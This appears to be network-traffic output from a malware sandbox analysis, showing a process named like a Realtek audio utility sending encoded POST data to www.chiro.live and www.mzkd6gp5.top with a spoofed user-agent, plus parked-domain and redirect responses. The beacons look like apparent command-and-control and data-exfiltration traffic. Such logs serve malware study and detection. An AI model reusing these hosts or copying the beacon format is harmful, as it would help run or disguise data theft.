[TRUNCATED]
Jan 9, 2025 16:47:27.946958065 CET	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
Jan 9, 2025 16:47:27.947000980 CET	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
Jan 9, 2025 16:47:27.947042942 CET	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
Jan 9, 2025 16:47:27.947077990 CET	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
Jan 9, 2025 16:47:27.947110891 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49746	198.58.118.167	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:47:43.426031113 CET	789	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 62 31 62 57 4b 43 2f 49 59 6a 66 30 74 63 71 2f 61 71 46 51 5a 65 72 4a 55 45 2b 4d 72 70 30 61 7a 51 6d 75 45 61 6f 4c 2b 76 66 52 72 7a 69 56 36 5a 79 71 4b 70 58 61 2f 35 59 43 4f 6a 57 69 45 49 41 58 48 65 74 2b 58 4b 39 6d 49 63 6d 79 42 62 54 50 4f 52 34 78 58 52 2f 4f 66 30 38 4e 39 65 72 65 45 43 46 4a 79 61 6f 4d 51 48 78 52 6d 42 31 34 35 49 4d 6f 6e 4e 74 73 2b 6a 56 54 79 69 4f 61 43 63 45 4b 68 49 36 77 7a 64 34 78 57 49 34 33 32 56 4b 6e 4d 4d 30 6c 58 56 53 4a 6f 4a 51 5a 33 37 4c 6f 44 49 59 30 2f 43 6e 6b 43 57 72 52 43 67 3d 3d Data Ascii: lV=qZs751u9hJjEb1bWKC/IYjf0tcq/aqFQZerJUE+Mrp0azQmuEaoL+vfRrziV6ZyqKpXa/5YCOjWiEIAXHet+XK9mIcmyBbTPOR4xXR/Of08N9ereECFJyaoMQHxRmB145IMonNts+jVTyiOaCcEKhI6wzd4xWI432VKnMM0lXVSJoJQZ37LoDIY0/CnkCWrRCg==
Jan 9, 2025 16:47:43.570617914 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:47:43 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 36 c6 76 6c d3 40 3a 09 f5 67 89 9d 38 4e 30 be 64 84 a4 58 22 42 a2 20 c0 4e a7 ff bd 18 3a 31 1d f7 50 1d 90 76 d9 7d bb ef ad 64 7e f8 b6 b0 57 de dd 50 21 32 64 57 67 e6 61 53 18 e0 5b 4b c5 5c bd 3a 53 8a 65 12 0c 50 75 2c cd 10 4b a0 40 02 e2 04 4b 4b 7d 5c 8d 1a 83 3f 91 c7 df 44 ca a8 81 7f a4 34 b3 d4 5d 23 05 0d 28 c2 08 48 ea 33 ac 2a 50 70 89 79 91 3b 1d 5a 18 6d f1 49 36 07 21 b6 d4 8c e2 3c 12 b1 ac 25 e4 14 49 62 21 9c 51 88 1b a5 f1 59 a1 9c 4a 0a 58 23 81 80 61 4b 6f b6 ea 70 92 4a 86 af 4c ad da 4b 3a 65 93 5c 24 30 a6 91 3c d2 fa 77 ef 31 7e 89 71 42 6a 2d b4 2e d3 98 59 07 7e 5f 34 2d cf f3 7e ab 09 09 8d 45 93 d1 0c 6b aa a2 1d 21 4d ed b4 8c 59 aa 57 97 e7 b4 c4 c5 ff 95 30 b5 e3 60 4c 5f a0 bd 22 38 13 00 59 2a 12 cf d5 f1 e3 a7 ba 18 15 65 45 ee a3 42 5d 89 77 52 0b 40 06 2a 6f 2d ee a0 c4 4b ca a1 a4 82 2b 35 28 e5 e7 bb 7e 87 90 c3 ca 29 47 22 6f 4a 11 35 99 80 c5 7c 05 6f 92 82 90 62 [TRUNCATED] Data Ascii: 266SMs0WPv6vl@:g8N0dX"B N:1Pv}d~WP!2dWgaS[K\:SePu,K@KK}\?D4]#(H3Ppy;ZmI6!<%Ib!QYJX#aKopJLK:e\$0<w1~qBj-.Y~_4-~Ek!MYW0`L_"8YeEB]wR@*o-K+5(~)G"oJ5\|ob)Q@A)E~iZ1 &tN;xW[8O{S{Z0\|74Y:Pup.z9.Bc8"A5vO30YJ8I;'h2/'&,ow3<Eghg"GmzN6(w p\|[d[]oE5x8}gzt~[Vv)KA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49747	198.58.118.167	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:47:46.107495070 CET	809	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 6b 61 79 78 57 75 46 65 38 4c 35 76 66 52 6a 54 69 51 6e 4a 79 74 4b 70 4c 38 2f 34 30 43 4f 6e 32 69 45 4e 73 58 62 39 56 39 46 71 39 67 42 38 6d 30 46 62 54 50 4f 52 34 78 58 52 72 6f 66 30 6b 4e 38 75 62 65 47 6a 46 4b 2b 36 6f 54 48 33 78 52 77 78 31 38 35 49 4d 4b 6e 50 4a 4b 2b 67 74 54 79 6a 2b 61 43 4e 45 4a 36 59 36 79 75 4e 35 65 64 59 68 68 34 46 6d 77 4c 65 55 65 50 32 72 39 6b 2f 64 44 71 4a 2f 4d 41 62 45 47 37 79 65 4d 41 55 71 4b 66 72 59 73 44 71 70 43 36 4f 7a 4f 78 54 6f 31 7a 42 7a 78 53 6b 49 3d Data Ascii: lV=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfkayxWuFe8L5vfRjTiQnJytKpL8/40COn2iENsXb9V9Fq9gB8m0FbTPOR4xXRrof0kN8ubeGjFK+6oTH3xRwx185IMKnPJK+gtTyj+aCNEJ6Y6yuN5edYhh4FmwLeUeP2r9k/dDqJ/MAbEG7yeMAUqKfrYsDqpC6OzOxTo1zBzxSkI=
Jan 9, 2025 16:47:46.253424883 CET	805	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:47:46 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 06 fc 1d 1a 48 27 71 fd 59 62 27 8e 13 b0 2f 19 21 29 96 88 90 28 08 b0 d3 e9 7f 2f 98 4e 4c c7 3d 54 07 a4 5d 76 df ee 7b 2b 59 1f be 2d 06 ab f5 dd 50 21 32 64 57 67 56 b9 29 0c f0 ad ad 62 ae 5e 9d 29 c5 b2 08 06 a8 3a 1e cc 10 4b a0 40 02 e2 04 4b 5b 7d 5c 8d 1a 17 7f 22 8f bf 89 94 51 03 ff 48 69 66 ab bb 46 0a 1a 50 84 11 90 d4 67 58 55 a0 e0 12 f3 22 77 3a b4 31 da e2 93 6c 0e 42 6c ab 19 c5 79 24 62 59 4b c8 29 92 c4 46 38 a3 10 37 0e c6 67 85 72 2a 29 60 8d 04 02 86 ed a6 66 d4 e1 24 95 0c 5f 59 7a b5 1f e8 1c 9a e4 22 81 31 8d e4 91 d6 bf 7b 8f f1 4b 8c 13 52 6b c1 b8 4c 63 66 97 fc be e8 7a 9e e7 7d 43 83 84 c6 42 63 34 c3 ba aa e8 47 48 4b 3f 2d 63 1d d4 ab cb 73 5a a2 fb 7f 25 2c fd 38 18 cb 17 68 af 08 ce 04 40 b6 8a c4 73 75 fc f8 a9 2e 46 45 59 91 fb a8 50 57 e2 9d d4 03 90 81 ca 5b 8b 2b 95 78 49 39 94 54 70 a5 06 a5 fc 7c d7 af 0c 29 57 4e 39 12 b9 26 45 a4 31 01 8b f9 0a ae 91 82 90 62 2b ea [TRUNCATED] Data Ascii: 265SMs0WPvH'qYb'/!)(/NL=T]v{+Y-P!2dWgV)b^):K@K[}\"QHifFPgXU"w:1lBly$bYK)F87gr*)`f$_Yz"1{KRkLcfz}CBc4GHK?-csZ%,8h@su.FEYPW[+xI9Tp\|)WN9&E1b+Q@AnIISf^O3~c;YtA+ut8O{`)x3i4Yz6j;\o9.Bc8"b;K',?8I;'h2/;'k&,X{ou2<n&t.0dzP.<{ wwtqZ(rGiGAU9T/wWRtu0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49748	198.58.118.167	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:47:49.788150072 CET	2578	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 73 61 79 44 4f 75 45 35 41 4c 34 76 66 52 70 7a 69 52 6e 4a 7a 6f 4b 70 44 77 2f 34 70 31 4f 6c 4f 69 46 76 6b 58 58 63 56 39 4f 71 39 67 4d 63 6d 78 42 62 54 67 4f 52 6f 4c 58 52 37 6f 66 30 6b 4e 38 74 54 65 42 79 46 4b 38 36 6f 4d 51 48 78 56 6d 42 30 6a 35 49 56 6f 6e 50 64 38 39 52 4e 54 78 44 75 61 4f 66 73 4a 6e 49 36 30 74 4e 35 47 64 59 63 2f 34 46 36 57 4c 64 49 34 50 31 37 39 6b 34 77 4d 35 37 58 6b 52 74 45 64 36 7a 75 32 49 32 75 67 58 4d 4d 4c 4d 5a 70 71 36 4f 79 63 2b 54 77 4f 6b 77 2f 30 47 6a 63 46 42 43 44 37 51 64 43 61 4e 65 54 61 39 41 5a 42 46 71 71 33 35 71 59 4d 4d 31 53 4d 54 6c 52 57 68 58 7a 4c 41 5a 6c 46 4b 49 48 49 4c 4c 49 73 61 31 70 66 59 4a 2b 56 76 4b 77 55 53 33 62 56 58 31 61 53 6c 71 43 7a 78 48 75 73 6b 58 51 52 67 49 63 78 55 57 4a 47 66 72 4e 76 43 71 50 78 62 53 64 56 48 36 45 4d 7a 74 4a 4d 54 58 69 6f 63 55 32 30 46 47 6d [TRUNCATED] Data Ascii: lV=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfsayDOuE5AL4vfRpziRnJzoKpDw/4p1OlOiFvkXXcV9Oq9gMcmxBbTgORoLXR7of0kN8tTeByFK86oMQHxVmB0j5IVonPd89RNTxDuaOfsJnI60tN5GdYc/4F6WLdI4P179k4wM57XkRtEd6zu2I2ugXMMLMZpq6Oyc+TwOkw/0GjcFBCD7QdCaNeTa9AZBFqq35qYMM1SMTlRWhXzLAZlFKIHILLIsa1pfYJ+VvKwUS3bVX1aSlqCzxHuskXQRgIcxUWJGfrNvCqPxbSdVH6EMztJMTXiocU20FGmUz3CWIAU+zmxLXYWK2/ftE0etZ3pNfyL/+cpWwy/VcQDV7Gq5GxCACrfZE7opOuKVfxHEzlzXSUkt19ht+DE0yksgKNQ2jthDH/A32PPzB5myuFgwMd6jCDUtCcTfi0vPJ1rRJg0A86S1KO6SJ209X85C2XpL8Ms57F6bCOdSUNNlYEa5Ngk6yq5gHRl9b/rHfxMDt+N6jXi2EhDR1EQ22P0l63H0Unr/CVTCWStQZGwiaVmxLZyCys/PCKDchCvrRfN8xMPcul2AKPxLotGE53zhoeOpTcdUXLTGiDnjrJRlxtI1cSHWSRCYnRY12ix73om2423CDf+1l0ECju4o3MUw4Zvnqp1zP7dABrBcS7mUTBcGI1fbWs2kItZs0LHxeix/nHdwozmGa/ZPJ9o/qTDYENdqIEvUfbd8O92t9OBtpcBT2RjjhvjReT175Sdrr5tNucg+saYM9wd63Q16rJXd3LK4MOBYsBxQEibHEfeLqzVgOiidz2IscMTJ44PFv+UcUK5O3hUNMr1OEg6V7G/L3zUZFKa3yBeM3Qqh6qjTOiTRNNPP8PbNsf49WSm7lKcRXBVdfsDZVV+OATcjz+LmbZVyqn9JkhY8WJDa/0nqDkzZx91ISfUftWJj817AFZjf0akeehHVq7uEIWUlfR7tb/NxvCSJU [TRUNCATED]
Jan 9, 2025 16:47:49.788182974 CET	2578	OUT	Data Raw: 66 67 43 74 73 70 4a 53 45 49 70 52 70 72 2f 48 69 52 6b 78 6d 79 35 75 6a 46 79 53 6a 2f 5a 4b 52 56 74 56 6d 2f 63 75 63 37 48 54 61 31 36 4c 47 66 72 37 31 76 75 4f 4e 53 74 61 53 37 4f 6a 63 38 34 51 4b 59 46 4e 67 61 55 76 33 62 38 64 42 32 Data Ascii: fgCtspJSEIpRpr/HiRkxmy5ujFySj/ZKRVtVm/cuc7HTa16LGfr71vuONStaS7Ojc84QKYFNgaUv3b8dB2EhEL+CTRNFTCfcYxjECc94VTPbTUj7ac17b0ROdOMxZ5cSbT2ovBOxwGQk+jNW2uyMV+g/0oVhrR0kG5jzAglKXq1fJt3a7UoAYGKG2GkrnhshBjigkRag29BQOf+p9VJuLYtqcL0/hPkmw8RDo87C9nlBTbP/+PH
Jan 9, 2025 16:47:49.930634022 CET	2578	OUT	Data Raw: 35 55 2b 43 79 45 75 45 51 31 77 55 69 58 6e 72 33 41 34 75 48 34 58 6c 67 69 64 6e 67 4f 4c 4e 32 39 57 73 51 66 6f 51 6f 6a 43 52 53 41 46 2f 43 6f 73 75 6c 76 37 2b 70 73 6b 53 78 5a 62 58 6c 43 75 62 73 38 5a 4e 7a 2f 4a 63 49 4e 70 71 4e 30 Data Ascii: 5U+CyEuEQ1wUiXnr3A4uH4XlgidngOLN29WsQfoQojCRSAF/Cosulv7+pskSxZbXlCubs8ZNz/JcINpqN0M4TtiBYRyuz0RvFO3/THwjc+ckTZ1NhLLnRJfQ4vCdwQhqSRB+byu2p7auCzx3QGFA0VM+/5hai+TXzq/p5zP72ktokSXb8nx4itjkJla+HgDlZJPPbSHC2fBTzww1xAHp3thAvL5goGlH8XgwaEcdF/VKsA+KKgL
Jan 9, 2025 16:47:49.930962086 CET	224	OUT	Data Raw: 30 4b 55 79 43 62 69 32 37 61 53 34 37 42 46 44 58 6a 41 63 61 49 46 58 6a 47 30 72 2b 72 74 6d 34 75 47 63 63 35 35 6f 51 6a 32 6d 30 2b 51 63 42 55 67 6a 77 37 69 68 39 4c 64 4e 71 34 34 73 51 76 4b 30 63 6d 74 4a 71 62 4e 6b 50 51 4e 6f 4c 68 Data Ascii: 0KUyCbi27aS47BFDXjAcaIFXjG0r+rtm4uGcc55oQj2m0+QcBUgjw7ih9LdNq44sQvK0cmtJqbNkPQNoLh+HkBJ3bRFA/xpF6U3u2fMq0sjEvKJlKY70yp7HHRhWwzdG0Z4sVmqalNqCs6VhNOQvqCMMQujKJ18jxGadP3DaO+4WxEoc7WyzxI45ouchaVw28pEzF6GqgEV/cO6LFhCLk1zwXt1STQ==
Jan 9, 2025 16:47:50.075325966 CET	805	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:47:50 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 db 72 9b 30 10 7d cf 57 50 1e 32 ed 4c 6d 0c 76 7c 69 20 9d 84 fa 5a 62 27 8e 13 6c bf 64 84 a4 58 22 42 a2 20 c0 4e a7 ff 5e 2e 9d 98 8e fb 50 3d 20 ed b2 7b 76 cf 59 c9 fc f0 6d 61 af 36 77 43 85 c8 80 5d 9d 99 c5 a6 30 c0 77 96 8a b9 7a 75 a6 e4 cb 24 18 a0 ea 58 9a 01 96 40 81 04 44 31 96 96 fa b8 1a 35 fa 7f 22 8f bf 89 94 61 03 ff 48 68 6a a9 fb 46 02 1a 50 04 21 90 d4 63 58 55 a0 e0 12 f3 3c 77 3a b4 30 da e1 93 6c 0e 02 6c a9 29 c5 59 28 22 59 4b c8 28 92 c4 42 38 a5 10 37 4a e3 b3 42 39 95 14 b0 46 0c 01 c3 96 de 6c d5 e1 24 95 0c 5f 99 5a b5 97 74 ca 26 b9 88 61 44 43 79 a4 f5 ef de 23 fc 12 e1 98 d4 5a 68 5d 26 11 b3 0a 7e 5f 34 2d cb b2 5e ab 09 09 8d 44 93 d1 14 6b aa a2 1d 21 4d ed b4 8c 59 aa 57 97 e7 b4 c4 c5 ff 95 30 b5 e3 60 4c 4f a0 83 22 38 13 00 59 2a 12 cf d5 f1 e3 a7 ba 18 15 65 45 1e c2 5c 5d 89 f7 52 f3 41 0a 2a 6f 2d ae 50 e2 25 e1 50 52 c1 95 1a 94 f2 f3 5d bf 22 a4 58 19 e5 48 64 4d 29 c2 26 13 30 9f af e0 4d 92 13 52 2c [TRUNCATED] Data Ascii: 265Sr0}WP2Lmv\|i Zb'ldX"B N^.P= {vYma6wC]0wzu$X@D15"aHhjFP!cXU<w:0ll)Y("YK(B87JB9Fl$_Zt&aDCy#Zh]&~_4-^Dk!MYW0`LO"8YeE\]RAo-P%PR]"XHdM)&0MR,E=JT.s??IBNlzG >t7Wtqxval3i4YfOQ`.z:>Dc8"~5nOS0YJ8;'hR:_v<773^IX\8c&7.b121t5Sd<QhCwl~nu,Nk%[^nQ*g~2U7/]+_oZk0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49749	198.58.118.167	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:47:52.461357117 CET	528	OUT	GET /jwa9/?lV=nbEb6BapjrCYd3vpIU65dRTaoPK2c484Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKRb9RHtiv87SZwxMyIk=&LSbaT=zft4LoBw HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:47:52.606264114 CET	1289	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:47:52 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 63 68 69 72 6f 2e 6c [TRUNCATED] Data Ascii: 495<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.chiro.live/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.chiro.live/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736437672.0002114916&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiYXJncyI6ICJsVj1uYkViNkJhcGpyQ1lkM3ZwSVU2NWRSVGFvUEsyYzQ4NFo5RExlbFRjcko0cDhoT2lCcGxJMzl6dHpoYWFsNzZxRllLZThvb0pGMjJtSS9KdlJQUjlLWnRFUHNHUFNadnBIejRnS1JiOVJIdGl2ODdTWnd4TXlJaz0mTFNiYVQ9emZ0NExvQnciLCAicmVmZXJlciI6ICIiLCAiYWNjZXB0IjogInRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45 [TRUNCATED]
Jan 9, 2025 16:47:52.606270075 CET	52	IN	Data Raw: 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49750	104.21.96.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:47:57.918406963 CET	795	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 34 58 4a 33 6e 47 45 56 43 58 2f 32 6c 38 56 62 72 69 46 4a 36 52 38 58 54 6f 57 30 43 6f 45 57 75 58 67 37 37 4f 6b 70 7a 57 6e 7a 63 50 37 48 4c 35 47 50 76 48 6c 71 6d 66 6b 6e 67 67 32 6f 42 6a 73 30 65 31 4d 59 75 53 6e 67 70 6a 36 61 67 48 64 4e 56 35 65 76 37 62 7a 70 45 76 50 53 62 38 44 31 73 7a 6c 45 4c 68 72 2f 2b 66 2b 58 55 77 6a 4c 38 71 79 50 6a 30 45 34 2b 65 38 6b 39 46 69 31 48 4c 45 6f 47 78 36 35 7a 57 77 6d 61 33 6f 4f 46 37 73 77 76 31 51 31 34 52 75 66 6f 5a 65 49 76 53 57 69 51 76 61 4d 32 34 4a 4d 34 50 46 54 48 77 3d 3d Data Ascii: lV=h0wTz0QM+szd4XJ3nGEVCX/2l8VbriFJ6R8XToW0CoEWuXg77OkpzWnzcP7HL5GPvHlqmfkngg2oBjs0e1MYuSngpj6agHdNV5ev7bzpEvPSb8D1szlELhr/+f+XUwjL8qyPj0E4+e8k9Fi1HLEoGx65zWwma3oOF7swv1Q14RufoZeIvSWiQvaM24JM4PFTHw==
Jan 9, 2025 16:47:58.492090940 CET	820	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:47:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oi9rZc1DajXu1cLSVCN7jLyQ0aRms2gZLp75UQAdmOBAl%2FnlViuBI%2FP6bavjHK%2FBc19EvmEP%2B8Jebj5TPgTCOybMbJhDkVvHqHCqAKCSNYm1segd3upbK2Cayc8M9%2Bio26BT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5919f6c076075-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118823&min_rtt=118823&rtt_var=59411&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=795&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Jan 9, 2025 16:47:58.492100954 CET	105	IN	Data Raw: 36 33 0d 0a b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 Data Ascii: 63(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:47:58.492109060 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

